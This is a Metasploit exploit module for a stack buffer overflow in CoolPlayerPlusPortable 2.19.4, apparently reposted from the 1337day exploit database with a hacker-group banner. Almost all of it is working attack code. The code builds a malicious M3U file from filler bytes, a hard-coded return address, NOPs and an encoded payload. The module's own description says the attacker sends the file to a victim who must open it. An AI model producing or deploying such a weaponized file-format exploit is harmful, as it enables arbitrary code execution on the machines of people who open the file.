|
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# _ __ __ __ #
# /' \ __ /'__`\ /\ \__ /'__`\ #
# /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ #
# \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ #
# \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ #
# \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ #
# \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ #
# \ \____/ >> Exploit database separated by exploit #
# \/___/ type (local, remote, DoS, etc.) #
# #
# [+] Site : 1337day.com #
# [+] Support e-mail : submit[at]1337day.com #
# #
# ######################################### #
# I'm The Black Devils member from Inj3ct0r Team #
# ######################################### #
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-#
# Greeting To : r0073r / KedAns-Dz / All DZ Hackerz
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'CoolPlayerPlusPortable 2.19.4 (M3U File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in CoolplayerPlus 2.19.4 An attacker must send the file to the victim and the victim must open the file.
},
'License' => MSF_LICENSE,
'Author' => [
'The Black Devils', # Initial Discovery
],
'Version' => '$Revision:
,
'References' =>
[
[ 'URL', 'http://1337day.com/exploits/20148' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 268,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x77f31d8a } ],
],
'Privileged' => false,
'DisclosureDate' => 'Janury 17 2013 ',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'inj3ctor.m3u']),
], self.class)
end
def exploit
m3u = rand_text_alpha_upper(220) + [target.ret].pack('V')
m3u << make_nops(12)
m3u << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(m3u)
end
end
|
推荐
评论(0条)
